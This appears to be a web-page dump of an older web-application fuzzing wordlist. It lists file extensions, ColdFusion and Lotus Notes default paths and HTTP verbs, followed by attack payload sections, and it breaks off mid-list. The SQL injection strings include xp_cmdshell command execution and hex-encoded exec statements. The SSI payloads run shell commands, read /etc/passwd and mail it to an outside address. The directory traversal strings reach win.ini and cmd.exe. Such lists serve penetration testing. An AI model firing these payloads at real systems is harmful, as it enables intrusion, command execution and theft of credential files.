.jph<br /> .jrprint<br /> .jrxml<br /> .jude<br /> .kap<br /> .kdb<br /> .kid<br /> .kismac<br /> .kmz<br /> .kpf<br /> .kpp<br /> .kpr<br /> .kpx<br /> .kpz<br /> .l<br /> .l6t<br /> .laccdb<br /> .lbl<br /> .lbx<br /> .lcd<br /> .lcf<br /> .lcm<br /> .ldif<br /> .lex<br /> .lgc<br /> .lgf<br /> .lgh<br /> .lgi<br /> .lgl<br /> .lib<br /> .lif<br /> .livereg<br /> .liveupdate<br /> .lix<br /> .llb<br /> .lms<br /> .lmx<br /> .lnt<br /> .loc<br /> .lp7<br /> .lrf<br /> .lrs<br /> .lrx<br /> .lsf<br /> .lsl<br /> .lsp<br /> .lsr<br /> .lst<br /> .lsu<br /> .lvm<br /> .lw4<br /> .ly<br /> .m<br /> .mag<br /> .mai<br /> .map<br /> .masseffectprofile<br /> .mat<br /> .mbb<br /> .mbf<br /> .mbg<br /> .mbl<br /> .mbp<br /> .mbx<br /> .mc1<br /> .mc9<br /> .mcd<br /> .md<br /> .mdb<br /> .mdc<br /> .mdf<br /> .mdl<br /> .mdm<br /> .mdn<br /> .mdt<br /> .mdx<br /> .mdz<br /> .mem<br /> .menc<br /> .met<br /> .mex<br /> .mfo<br /> .mfp<br /> .mgc<br /> .mls<br /> .mm<br /> .mmap<br /> .mmc<br /> .mmf<br /> .mmp<br /> .mnc<br /> .mng<br /> .mnk<br /> .mno<br /> .mny<br /> .mobi<br /> .moho<br /> .mosaic<br /> .mox<br /> .mpd<br /> .mpj<br /> .mpp<br /> .mpt<br /> .mpx<br /> .mpz<br /> .mq4<br /> .ms10<br /> .mth<br /> .mtw<br /> .mud<br /> .muf<br /> .mw<br /> .mwf<br /> .mws<br /> .mwx<br /> .mxd<br /> .myd<br /> .myi<br /> .nb<br /> .nc<br /> .ndf<br /> .ndk<br /> .ndx<br /> .net<br /> .neta<br /> .nfo<br /> .nitf<br /> .nmind<br /> .not<br /> .notebook<br /> .np<br /> .npl<br /> .npt<br /> .nrl<br /> .ns2<br /> .ns3<br /> .ns4<br /> .nsf<br /> .ntx<br /> .numbers<br /> .nvl<br /> .nyf<br /> .oab<br /> .obj<br /> .odb<br /> .odf<br /> .odp<br /> .ods<br /> .odx<br /> .oeaccount<br /> .ofc<br /> .ofm<br /> .oft<br /> .ofx<br /> .omcs<br /> .omp<br /> .ond<br /> .one<br /> .oo3<br /> .opf<br /> .opx<br /> .or2<br /> .or3<br /> .or4<br /> .or5<br /> .or6<br /> .org<br /> .orx<br /> .otf<br /> .otl<br /> .otln<br /> .ots<br /> .out<br /> .ov2<br /> .ova<br /> .ovf<br /> .p96<br /> .p97<br /> .pab<br /> .paf<br /> .pan<br /> .pbd<br /> .pc<br /> .pcap<br /> .pcb<br /> .pcr<br /> .pd4<br /> .pd5<br /> .pdas<br /> .pdb<br /> .pdd<br /> .pdm<br /> .pds<br /> .pdx<br /> .peb<br /> .pec<br /> .pep<br /> .pex<br /> .pfc<br /> .pfl<br /> .phb<br /> .phm<br /> .pi<br /> .pis<br /> .pjx<br /> .pka<br /> .pkb<br /> .pkh<br /> .pks<br /> .pkt<br /> .pln<br /> .plw<br /> .pmo<br /> .pmr<br /> .pnproj<br /> .pnpt<br /> .pns<br /> .pnt<br /> .pod<br /> .poi<br /> .pos<br /> .postal<br /> .pot<br /> .potm<br /> .potx<br /> .pp2<br /> .ppf<br /> .pps<br /> .ppsx<br /> .ppt<br /> .pptm<br /> .pptx<br /> .prc<br /> .pre<br /> .prf<br /> .prj<br /> .prm<br /> .prs<br /> .psa<br /> .psf<br /> .psm<br /> .pst<br /> .ptb<br /> .ptf<br /> .ptk<br /> .ptm<br /> .ptn<br /> .ptt<br /> .ptz<br /> .pvl<br /> .pwd<br /> .pxj<br /> .pxl<br /> .q07<br /> .q08<br /> .q09<br /> .q3d<br /> .qbw<br /> .qdat<br /> .qdf<br /> .qdfm<br /> .qel<br /> .qfx<br /> .qif<br /> .qpb<br /> .qpf<br /> .qph<br /> .qpm<br /> .qpw<br /> .qrp<br /> .qsd<br /> .ral<br /> .rbt<br /> .rcd<br /> .rcg<br /> .rdb<br /> .rdf<br /> .rdx<br /> .ref<br /> .ret<br /> .rf1<br /> .rfa<br /> .rfo<br /> .rge<br /> .rgn<br /> .rgo<br /> .rmuf<br /> .rnq<br /> .rod<br /> .rog<br /> .roi<br /> .rou<br /> .rpp<br /> .rpt<br /> .rrt<br /> .rsc<br /> .rsd<br /> .rsw<br /> .rte<br /> .rvt<br /> .rwg<br /> .rzb<br /> .s85<br /> .saf<br /> .sam07<br /> .sar<br /> .sav<br /> .sbd<br /> .sbf<br /> .sbq<br /> .sbt<br /> .sca<br /> .scf<br /> .sch<br /> .sdb<br /> .sdc<br /> .sdf<br /> .sdp<br /> .sdq<br /> .sds<br /> .sen<br /> .seo<br /> .seq<br /> .ser<br /> .sgml<br /> .sgn<br /> .shp<br /> .shs<br /> .shx<br /> .skc<br /> .skv<br /> .skx<br /> .sle<br /> .slk<br /> .slp<br /> .snapfireshow<br /> .sonic<br /> .soundpack<br /> .spo<br /> .sps<br /> .spub<br /> .spv<br /> .sq<br /> .sqd<br /> .sql<br /> .sqlite<br /> .sqr<br /> .sta<br /> .stc<br /> .stf<br /> .stk<br /> .stl<br /> .stm<br /> .stp<br /> .str<br /> .stt<br /> .stw<br /> .styk<br /> .stykz<br /> .swk<br /> .sxc<br /> .sxi<br /> .sy3<br /> .t01<br /> .t02<br /> .t03<br /> .t04<br /> .t05<br /> .t06<br /> .t07<br /> .t08<br /> .t09<br /> .t2<br /> .t3001<br /> .tax2008<br /> .tax2009<br /> .tb<br /> .tbk<br /> .tbl<br /> .tcc<br /> .tcx<br /> .tda<br /> .tdl<br /> .tdm<br /> .tdt<br /> .te<br /> .te3<br /> .teacher<br /> .tef<br /> .tet<br /> .tfa<br /> .tfd<br /> .tfrd<br /> .tjp<br /> .tk3<br /> .tkfl<br /> .tmw<br /> .tol<br /> .topc<br /> .tpb<br /> .tps<br /> .tr3<br /> .tra<br /> .trd<br /> .trk<br /> .trs<br /> .trx<br /> .tst<br /> .tsv<br /> .ttk<br /> .txa<br /> .txd<br /> .txf<br /> .uccapilog<br /> .ud<br /> .udb<br /> .udeb<br /> .uds<br /> .ulf<br /> .ulz<br /> .update<br /> .upoi<br /> .usr<br /> .uvf<br /> .uwl<br /> .val<br /> .vbpf1<br /> .vcd<br /> .vce<br /> .vcf<br /> .vcs<br /> .vdb<br /> .vdx<br /> .vfs<br /> .vi<br /> .vip<br /> .vle<br /> .vlg<br /> .vmt<br /> .voi<br /> .vok<br /> .vrd<br /> .vscontent<br /> .vsx<br /> .vtx<br /> .vxml<br /> .w02<br /> .wab<br /> .wb1<br /> .wb2<br /> .wb3<br /> .wdb<br /> .wdq<br /> .wea<br /> .wfd<br /> .wfm<br /> .wgp<br /> .wgt<br /> .windowslivecontact<br /> .wjr<br /> .wk1<br /> .wk2<br /> .wk3<br /> .wk4<br /> .wk5<br /> .wke<br /> .wki<br /> .wks<br /> .wku<br /> .wlmp<br /> .wmdb<br /> .wor<br /> .wpc<br /> .wpf<br /> .wpo<br /> .wq1<br /> .wq2<br /> .wtb<br /> .wtr<br /> .xbk<br /> .xdb<br /> .xdp<br /> .xds<br /> .xef<br /> .xem<br /> .xfd<br /> .xfo<br /> .xft<br /> .xl<br /> .xlc<br /> .xlgc<br /> .xlr<br /> .xls<br /> .xlsb<br /> .xlsm<br /> .xlsx<br /> .xlt<br /> .xltm<br /> .xltx<br /> .xlw<br /> .xmcd<br /> .xml<br /> .xmlper<br /> .xmpz<br /> .xpg<br /> .xpj<br /> .xpm<br /> .xpt<br /> .xrp<br /> .xsl<br /> .xslt<br /> .xsn<br /> .xtm<br /> .xtp<br /> .xxd<br /> .yam<br /> .zap<br /> .zdb<br /> .zdc<br /> .zix<br /> .zmc<br /> .zpl<br /> .{pb<br /> .~hm<br /> &lt;/pre&gt;<br /> <br /> === (Compressed File Types - (Update: 16 March 2009 - Total Statements: 187) ===<br /> &lt;pre&gt;.0<br /> .000<br /> .7z<br /> .a00<br /> .a01<br /> .a02<br /> .ace<br /> .ain<br /> .alz<br /> .apz<br /> .ar<br /> .arc<br /> .arh<br /> .ari<br /> .arj<br /> .ark<br /> .axx<br /> .b64<br /> .ba<br /> .bh<br /> .boo<br /> .bz<br /> .bz2<br /> .bzip<br /> .bzip2<br /> .c00<br /> .c01<br /> .c02<br /> .car<br /> .cb7<br /> .cbr<br /> .cbt<br /> .cbz<br /> .cp9<br /> .cpgz<br /> .cpt<br /> .dar<br /> .dd<br /> .deb<br /> .dgc<br /> .dist<br /> .ecs<br /> .efw<br /> .epi<br /> .f<br /> .fdp<br /> .gca<br /> .gz<br /> .gzi<br /> .gzip<br /> .ha<br /> .hbc<br /> .hbc2<br /> .hbe<br /> .hki<br /> .hki1<br /> .hki2<br /> .hki3<br /> .hpk<br /> .hyp<br /> .ice<br /> .ipg<br /> .ipk<br /> .ish<br /> .j<br /> .jar.pack<br /> .jgz<br /> .jic<br /> .kgb<br /> .lbr<br /> .lemon<br /> .lha<br /> .lnx<br /> .lqr<br /> .lz<br /> .lzh<br /> .lzm<br /> .lzma<br /> .lzo<br /> .lzx<br /> .md<br /> .mint<br /> .mou<br /> .mpkg<br /> .mzp<br /> .oar<br /> .p7m<br /> .pack.gz<br /> .package<br /> .pae<br /> .pak<br /> .paq6<br /> .paq7<br /> .paq8<br /> .par<br /> .par2<br /> .pbi<br /> .pcv<br /> .pea<br /> .pet<br /> .pf<br /> .pim<br /> .pit<br /> .piz<br /> .pkg<br /> .pup<br /> .puz<br /> .pwa<br /> .qda<br /> .r0<br /> .r00<br /> .r01<br /> .r02<br /> .r03<br /> .r1<br /> .r2<br /> .r30<br /> .rar<br /> .rev<br /> .rk<br /> .rnc<br /> .rp9<br /> .rpm<br /> .rte<br /> .rz<br /> .rzs<br /> .s00<br /> .s01<br /> .s02<br /> .s7z<br /> .sar<br /> .sdc<br /> .sdn<br /> .sea<br /> .sen<br /> .sfs<br /> .sfx<br /> .sh<br /> .shar<br /> .shk<br /> .shr<br /> .sit<br /> .sitx<br /> .spt<br /> .sqx<br /> .sqz<br /> .tar<br /> .tar.gz<br /> .tar.xz<br /> .taz<br /> .tbz<br /> .tbz2<br /> .tg<br /> .tgz<br /> .tlz<br /> .tlzma<br /> .txz<br /> .tz<br /> .uc2<br /> .uha<br /> .vem<br /> .vsi<br /> .wad<br /> .war<br /> .wot<br /> .xef<br /> .xez<br /> .xmcdz<br /> .xpi<br /> .xx<br /> .xz<br /> .y<br /> .yz<br /> .z<br /> .z01<br /> .z02<br /> .z03<br /> .z04<br /> .zap<br /> .zfsendtotarget<br /> .zip<br /> .zipx<br /> .zix<br /> .zoo<br /> .zpi<br /> .zz&lt;/pre&gt;<br /> <br /> === (Uncommon Data File Extensions (Update: 16 March 2009 - Total Statements: 284) ===<br /> &lt;pre&gt;<br /> .3me<br /> .3pe<br /> .4dl<br /> .8xk<br /> .^^^<br /> .aao<br /> .ab2<br /> .aca<br /> .accdb<br /> .acf<br /> .acg<br /> .agd<br /> .an1<br /> .anme<br /> .arc<br /> .arh<br /> .ast<br /> .att<br /> .aw<br /> .bafl<br /> .bdf<br /> .bfx<br /> .bjo<br /> .bld<br /> .blg<br /> .btf<br /> .btif<br /> .btr<br /> .cct<br /> .cdb<br /> .cdd<br /> .cdf<br /> .cdp<br /> .cdr<br /> .chk<br /> .ckd<br /> .cl2<br /> .cl4<br /> .clb<br /> .clix<br /> .clm<br /> .cmbl<br /> .contact<br /> .cpi<br /> .cpmz<br /> .csv<br /> .cwz<br /> .cxt<br /> .daf<br /> .dat<br /> .data<br /> .db<br /> .dcf<br /> .ddt<br /> .dex<br /> .dif<br /> .dmsk<br /> .dnc<br /> .dpx<br /> .dsd<br /> .dt1<br /> .dt2<br /> .dta<br /> .e00<br /> .ec0<br /> .edf<br /> .eep<br /> .efx<br /> .enc<br /> .enw<br /> .epw<br /> .est<br /> .et<br /> .eta<br /> .ev3<br /> .exif<br /> .exp<br /> .fbl<br /> .fdb<br /> .fid<br /> .fol<br /> .gdb<br /> .gen<br /> .gnp<br /> .gpi<br /> .gpx<br /> .hcp<br /> .hdf<br /> .hmt<br /> .hsk<br /> .htg<br /> .id2<br /> .ii<br /> .img<br /> .ink<br /> .ins<br /> .irr<br /> .irx<br /> .iw<br /> .jdb<br /> .jnt<br /> .job<br /> .jrprint<br /> .kmz<br /> .lbx<br /> .lex<br /> .lgf<br /> .lgl<br /> .lib<br /> .liveupdate<br /> .lnt<br /> .lst<br /> .m<br /> .masseffectprofile<br /> .mat<br /> .mbb<br /> .mdb<br /> .mem<br /> .menc<br /> .met<br /> .mmf<br /> .mng<br /> .mpd<br /> .mpp<br /> .ms10<br /> .muf<br /> .mw<br /> .mwf<br /> .mwx<br /> .nc<br /> .ndx<br /> .nfo<br /> .not<br /> .ns2<br /> .ns3<br /> .ns4<br /> .ntx<br /> .numbers<br /> .ods<br /> .oeaccount<br /> .omcs<br /> .or2<br /> .or3<br /> .or4<br /> .or5<br /> .orx<br /> .out<br /> .ov2<br /> .ovf<br /> .paf<br /> .pbd<br /> .pcr<br /> .pdb<br /> .pdx<br /> .peb<br /> .pec<br /> .pfc<br /> .pis<br /> .pln<br /> .pnpt<br /> .pns<br /> .pnt<br /> .pos<br /> .postal<br /> .pps<br /> .ppsx<br /> .ppt<br /> .pptm<br /> .pptx<br /> .pre<br /> .prf<br /> .psa<br /> .psf<br /> .pst<br /> .ptz<br /> .q07<br /> .q3d<br /> .qbw<br /> .qdat<br /> .qdf<br /> .qfx<br /> .qpf<br /> .qpw<br /> .qsd<br /> .rcd<br /> .rdx<br /> .ref<br /> .rmuf<br /> .roi<br /> .rrt<br /> .rvt<br /> .rwg<br /> .saf<br /> .sam07<br /> .sbd<br /> .sbf<br /> .sbq<br /> .sbt<br /> .sdb<br /> .sdc<br /> .sdf<br /> .sds<br /> .ser<br /> .sgn<br /> .shs<br /> .skc<br /> .slk<br /> .sonic<br /> .soundpack<br /> .spo<br /> .sql<br /> .stf<br /> .stl<br /> .stm<br /> .sy3<br /> .t08<br /> .t09<br /> .t2<br /> .tax2009<br /> .tdl<br /> .tdt<br /> .te<br /> .teacher<br /> .tmw<br /> .tol<br /> .trk<br /> .trs<br /> .trx<br /> .tsv<br /> .uccapilog<br /> .ud<br /> .udeb<br /> .uds<br /> .update<br /> .uwl<br /> .val<br /> .vcf<br /> .vdb<br /> .vfs<br /> .vip<br /> .vle<br /> .vlg<br /> .vxml<br /> .w02<br /> .wab<br /> .wb1<br /> .wb3<br /> .wdq<br /> .wfd<br /> .wfm<br /> .windowslivecontact<br /> .wk1<br /> .wk2<br /> .wk3<br /> .wk4<br /> .wk5<br /> .wke<br /> .wks<br /> .wlmp<br /> .wpc<br /> .wpo<br /> .wq1<br /> .wq2<br /> .wtr<br /> .xbk<br /> .xdb<br /> .xds<br /> .xfd<br /> .xl<br /> .xlgc<br /> .xlr<br /> .xls<br /> .xlsx<br /> .xltm<br /> .xltx<br /> .xml<br /> .xmpz<br /> .xsl<br /> .xsn<br /> .xtm<br /> .xtp<br /> .xxd<br /> .{pb<br /> .~hm<br /> &lt;/pre&gt;<br /> <br /> === Cold Fusion Default Files - (Update: 16 March 2009 - Total Statements: 65) ===<br /> &lt;pre&gt;<br /> CFIDE/Administrator/<br /> CFIDE/Administrator/index.cfm<br /> CFIDE/Administrator/login.cfm<br /> CFIDE/Administrator/Application.cfm<br /> CFIDE/Application.cfm<br /> CFIDE/adminapi/<br /> CFIDE/adminapi/Application.cfm<br /> CFIDE/adminapi/administrator.cfc<br /> CFIDE/adminapi/base.cfc<br /> CFIDE/adminapi/customtags/<br /> CFIDE/adminapi/customtags/l10n.cfm<br /> CFIDE/adminapi/customtags/resources<br /> CFIDE/adminapi/customtags/resources/<br /> CFIDE/adminapi/datasource.cfc<br /> CFIDE/adminapi/debugging.cfc<br /> CFIDE/adminapi/eventgateway.cfc<br /> CFIDE/adminapi/extensions.cfc<br /> CFIDE/adminapi/mail.cfc<br /> CFIDE/adminapi/runtime.cfc<br /> CFIDE/adminapi/security.cfc<br /> CFIDE/adminapi/_datasource/<br /> CFIDE/adminapi/_datasource/formatjdbcurl.cfm<br /> CFIDE/adminapi/_datasource/getaccessdefaultsfromregistry.cfm<br /> CFIDE/adminapi/_datasource/geturldefaults.cfm<br /> CFIDE/adminapi/_datasource/setdsn.cfm<br /> CFIDE/adminapi/_datasource/setmsaccessregistry.cfm<br /> CFIDE/adminapi/_datasource/setsldatasource.cfm<br /> CFIDE/classes/<br /> CFIDE/classes/cf-j2re-win.cab<br /> CFIDE/classes/cfapplets.jar<br /> CFIDE/classes/images<br /> CFIDE/componentutils/<br /> CFIDE/componentutils/Application.cfm<br /> CFIDE/componentutils/cfcexplorer.cfc<br /> CFIDE/componentutils/cfcexplorer_utils.cfm<br /> CFIDE/componentutils/componentdetail.cfm<br /> CFIDE/componentutils/componentdoc.cfm<br /> CFIDE/componentutils/componentlist.cfm<br /> CFIDE/componentutils/gatewaymenu<br /> CFIDE/componentutils/gatewaymenu/<br /> CFIDE/componentutils/gatewaymenu/menu.cfc<br /> CFIDE/componentutils/gatewaymenu/menunode.cfc<br /> CFIDE/componentutils/login.cfm<br /> CFIDE/componentutils/packagelist.cfm<br /> CFIDE/componentutils/utils.cfc<br /> CFIDE/componentutils/_component_cfcToHTML.cfm<br /> CFIDE/componentutils/_component_cfcToMCDL.cfm?<br /> CFIDE/componentutils/_component_style.cfm<br /> CFIDE/componentutils/_component_utils.cfm<br /> CFIDE/debug/<br /> CFIDE/debug/images/<br /> CFIDE/debug/includes/<br /> CFIDE/images/<br /> CFIDE/images/skins/<br /> CFIDE/install.cfm<br /> CFIDE/installers/<br /> CFIDE/installers/CFMX7DreamWeaverExtensions.mxp<br /> CFIDE/installers/CFReportBuilderInstaller.exe<br /> CFIDE/probe.cfm<br /> CFIDE/scripts/<br /> CFIDE/scripts/css/<br /> CFIDE/scripts/xsl/<br /> CFIDE/wizards/<br /> CFIDE/wizards/common/<br /> CFIDE/wizards/common/utils.cfc&lt;/pre&gt;<br /> <br /> <br /> === All HTTP Verbs Defined in RFC's + 1 ARBITRARY Verb - (Update: 16 March 2009 - Total Statements: 31) ===<br /> &lt;pre&gt;OPTIONS<br /> GET<br /> HEAD<br /> POST<br /> PUT<br /> DELETE<br /> TRACE<br /> CONNECT<br /> PROPFIND<br /> PROPPATCH<br /> MKCOL<br /> COPY<br /> MOVE<br /> LOCK<br /> UNLOCK<br /> VERSION-CONTROL<br /> REPORT<br /> CHECKOUT<br /> CHECKIN<br /> UNCHECKOUT<br /> MKWORKSPACE<br /> UPDATE<br /> LABEL<br /> MERGE<br /> BASELINE-CONTROL<br /> MKACTIVITY<br /> ORDERPATCH<br /> ACL<br /> PATCH<br /> SEARCH<br /> ARBITRARY<br /> &lt;/pre&gt;<br /> <br /> === Lotus/Notes Files -(Update: 02 February 2010 - Total Statements: 111) ===<br /> &lt;pre&gt;/852566C90012664F<br /> /admin4.nsf<br /> /admin5.nsf<br /> /admin.nsf<br /> /agentrunner.nsf<br /> /alog.nsf<br /> /a_domlog.nsf<br /> /bookmark.nsf<br /> /busytime.nsf<br /> /catalog.nsf<br /> /certa.nsf<br /> /certlog.nsf<br /> /certsrv.nsf<br /> /chatlog.nsf<br /> /clbusy.nsf<br /> /cldbdir.nsf<br /> /clusta4.nsf<br /> /collect4.nsf<br /> /da.nsf<br /> /dba4.nsf<br /> /dclf.nsf<br /> /DEASAppDesign.nsf<br /> /DEASLog01.nsf<br /> /DEASLog02.nsf<br /> /DEASLog03.nsf<br /> /DEASLog04.nsf<br /> /DEASLog05.nsf<br /> /DEASLog.nsf<br /> /decsadm.nsf<br /> /decslog.nsf<br /> /DEESAdmin.nsf<br /> /dirassist.nsf<br /> /doladmin.nsf<br /> /domadmin.nsf<br /> /domcfg.nsf<br /> /domguide.nsf<br /> /domlog.nsf<br /> /dspug.nsf<br /> /events4.nsf<br /> /events5.nsf<br /> /events.nsf<br /> /event.nsf<br /> /homepage.nsf<br /> /iNotes/Forms5.nsf/$DefaultNav<br /> /jotter.nsf<br /> /leiadm.nsf<br /> /leilog.nsf<br /> /leivlt.nsf<br /> /log4a.nsf<br /> /log.nsf<br /> /l_domlog.nsf<br /> /mab.nsf<br /> /mail10.box<br /> /mail1.box<br /> /mail2.box<br /> /mail3.box<br /> /mail4.box<br /> /mail5.box<br /> /mail6.box<br /> /mail7.box<br /> /mail8.box<br /> /mail9.box<br /> /mail.box<br /> /msdwda.nsf<br /> /mtatbls.nsf<br /> /mtstore.nsf<br /> /names.nsf<br /> /nntppost.nsf<br /> /nntp/nd000001.nsf<br /> /nntp/nd000002.nsf<br /> /nntp/nd000003.nsf<br /> /ntsync45.nsf<br /> /perweb.nsf<br /> /qpadmin.nsf<br /> /quickplace/quickplace/main.nsf<br /> /reports.nsf<br /> /sample/siregw46.nsf<br /> /schema50.nsf<br /> /setupweb.nsf<br /> /setup.nsf<br /> /smbcfg.nsf<br /> /smconf.nsf<br /> /smency.nsf<br /> /smhelp.nsf<br /> /smmsg.nsf<br /> /smquar.nsf<br /> /smsolar.nsf<br /> /smtime.nsf<br /> /smtpibwq.nsf<br /> /smtpobwq.nsf<br /> /smtp.box<br /> /smtp.nsf<br /> /smvlog.nsf<br /> /srvnam.htm<br /> /statmail.nsf<br /> /statrep.nsf<br /> /stauths.nsf<br /> /stautht.nsf<br /> /stconfig.nsf<br /> /stconf.nsf<br /> /stdnaset.nsf<br /> /stdomino.nsf<br /> /stlog.nsf<br /> /streg.nsf<br /> /stsrc.nsf<br /> /userreg.nsf<br /> /vpuserinfo.nsf<br /> /webadmin.nsf<br /> /web.nsf<br /> /.nsf/../winnt/win.ini<br /> /?Open <br /> &lt;/pre&gt;<br /> <br /> === SQL Injection -(Update: 11 August 2009 - Total Statements: 126) ===<br /> &lt;pre&gt;Statement<br /> 'sqlvuln<br /> '+sqlvuln<br /> sqlvuln;<br /> (sqlvuln)<br /> a' or 1=1--<br /> &quot;a&quot;&quot; or 1=1--&quot;<br /> or a = a<br /> a' or 'a' = 'a<br /> 1 or 1=1<br /> a' waitfor delay '0:0:10'--<br /> 1 waitfor delay '0:0:10'--<br /> declare @q nvarchar (4000) select @q =<br /> 0x770061006900740066006F0072002000640065006C00610079002000270030003A0030003A<br /> 0<br /> 031003000270000<br /> declare @s varchar(22) select @s =<br /> 0x77616974666F722064656C61792027303A303A31302700 exec(@s)<br /> 0x730065006c00650063007400200040004000760065007200730069006f006e00 exec(@q)<br /> declare @s varchar (8000) select @s = 0x73656c65637420404076657273696f6e<br /> exec(@s)<br /> a'<br /> ?<br /> ' or 1=1<br /> ‘ or 1=1 --<br /> x' AND userid IS NULL; --<br /> x' AND email IS NULL; --<br /> anything' OR 'x'='x<br /> x' AND 1=(SELECT COUNT(*) FROM tabname); --<br /> x' AND members.email IS NULL; --<br /> x' OR full_name LIKE '%Bob%<br /> 23 OR 1=1<br /> '; exec master..xp_cmdshell 'ping 172.10.1.255'--<br /> '<br /> '%20or%20''='<br /> '%20or%20'x'='x<br /> %20or%20x=x<br /> ')%20or%20('x'='x<br /> 0 or 1=1<br /> ' or 0=0 --<br /> &quot; or 0=0 --<br /> or 0=0 --<br /> ' or 0=0 #<br /> or 0=0 #&quot;<br /> or 0=0 #<br /> ' or 1=1--<br /> &quot; or 1=1--<br /> ' or '1'='1'--<br /> ' or 1 --'<br /> or 1=1--<br /> or%201=1<br /> or%201=1 --<br /> ' or 1=1 or ''='<br /> or 1=1 or &quot;&quot;=<br /> ' or a=a--<br /> or a=a<br /> ') or ('a'='a<br /> ) or (a=a<br /> hi or a=a<br /> hi or 1=1 --&quot;<br /> hi' or 1=1 --<br /> hi' or 'a'='a<br /> hi') or ('a'='a<br /> &quot;hi&quot;&quot;) or (&quot;&quot;a&quot;&quot;=&quot;&quot;a&quot;<br /> 'hi' or 'x'='x';<br /> @variable<br /> ,@variable<br /> PRINT<br /> PRINT @@variable<br /> select<br /> insert<br /> as<br /> or<br /> procedure<br /> limit<br /> order by<br /> asc<br /> desc<br /> delete<br /> update<br /> distinct<br /> having<br /> truncate<br /> replace<br /> like<br /> handler<br /> bfilename<br /> ' or username like '%<br /> ' or uname like '%<br /> ' or userid like '%<br /> ' or uid like '%<br /> ' or user like '%<br /> exec xp<br /> exec sp<br /> '; exec master..xp_cmdshell<br /> '; exec xp_regread<br /> t'exec master..xp_cmdshell 'nslookup www.google.com'--<br /> --sp_password<br /> \x27UNION SELECT<br /> ' UNION SELECT<br /> ' UNION ALL SELECT<br /> ' or (EXISTS)<br /> ' (select top 1<br /> '||UTL_HTTP.REQUEST<br /> 1;SELECT%20*<br /> to_timestamp_tz<br /> tz_offset<br /> &amp;lt;&amp;gt;&quot;'%;)(&amp;amp;+<br /> '%20or%201=1<br /> %27%20or%201=1<br /> %20$(sleep%2050)<br /> %20'sleep%2050'<br /> char%4039%41%2b%40SELECT<br /> &amp;amp;apos;%20OR<br /> 'sqlattempt1<br /> (sqlattempt2)<br /> |<br /> %7C<br /> *|<br /> %2A%7C<br /> *(|(mail=*))<br /> %2A%28%7C%28mail%3D%2A%29%29<br /> *(|(objectclass=*))<br /> %2A%28%7C%28objectclass%3D%2A%29%29<br /> (<br /> %28<br /> )<br /> %29<br /> &amp;amp;<br /> %26<br /> !<br /> %21<br /> ' or 1=1 or ''='<br /> ' or ''='<br /> x' or 1=1 or 'x'='y<br /> /<br /> //<br /> //*<br /> */*<br /> a' or 3=3--<br /> &quot;a&quot;&quot; or 3=3--&quot;<br /> ' or 3=3<br /> ‘ or 3=3 --<br /> &lt;/pre&gt; <br /> === SSI (Server Side Includes) - (Update: xx/xx/xx - Total Statements: 4) ===<br /> &lt;pre&gt;&amp;lt;!--#exec cmd=&quot;/bin/ls /&quot; --&amp;gt;&amp;lt;br/&amp;gt;<br /> &amp;lt;!--#exec cmd=&quot;cat /etc/passwd&quot; --&amp;gt;&amp;lt;br/&amp;gt;<br /> &amp;lt;!--#exec cmd=&quot;find / -name *.* -print&quot; --&amp;gt;&amp;lt;br/&amp;gt;<br /> &amp;lt;!--#exec cmd=&quot;mail Foobar@email.de &amp;lt;mailto:Foobar@email.de&amp;gt; &amp;lt; cat /etc/passwd&quot; --&amp;gt;&amp;lt;br/&amp;gt;<br /> &lt;/pre&gt; <br /> === Directory Traversal - (Update: 11 August 2009 - Total Statements: 132) ===<br /> &lt;pre&gt;Statement<br /> \..\WINDOWS\win.ini<br /> \..\..\WINDOWS\win.ini<br /> \..\..\..\WINDOWS\win.ini<br /> \..\..\..\..\WINDOWS\win.ini<br /> \..\..\..\..\..\WINDOWS\win.ini<br /> \..\..\..\..\..\..\WINDOWS\win.ini<br /> %5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%57%49%4e%44%4f%57%53%5c%77%69%6e%2e%69%6e%69<br /> %5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%57%49%4e%44%4f%57%53%5c%77%69%6e%2e%69%6e%69<br /> %5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%57%49%4e%44%4f%57%53%5c%77%69%6e%2e%69%6e%69<br /> %5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%57%49%4e%44%4f%57%53%5c%77%69%6e%2e%69%6e%69<br /> %5c%2e%2e%5c%2e%2e%5c%57%49%4e%44%4f%57%53%5c%77%69%6e%2e%69%6e%69<br /> %5c%2e%2e%5c%57%49%4e%44%4f%57%53%5c%77%69%6e%2e%69%6e%69<br /> %5c%57%49%4e%44%4f%57%53%5c%77%69%6e%2e%69%6e%69<br /> %%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%35%37%%34%39%%34%65%%34%34%%34%66%%35%37%%35%33%%35%63%%37%37%%36%39%%36%65%%32%65%%36%39%%36%65%%36%39<br /> %%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%35%37%%34%39%%34%65%%34%34%%34%66%%35%37%%35%33%%35%63%%37%37%%36%39%%36%65%%32%65%%36%39%%36%65%%36%39<br /> %%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%35%37%%34%39%%34%65%%34%34%%34%66%%35%37%%35%33%%35%63%%37%37%%36%39%%36%65%%32%65%%36%39%%36%65%%36%39<br /> %%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%35%37%%34%39%%34%65%%34%34%%34%66%%35%37%%35%33%%35%63%%37%37%%36%39%%36%65%%32%65%%36%39%%36%65%%36%39<br /> ..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> ..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> ..%5c..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> ..%5c..%5c..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> ..%5c..%5c..%5c..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> ..%5c..%5c..%5c..%5c..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> ..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> 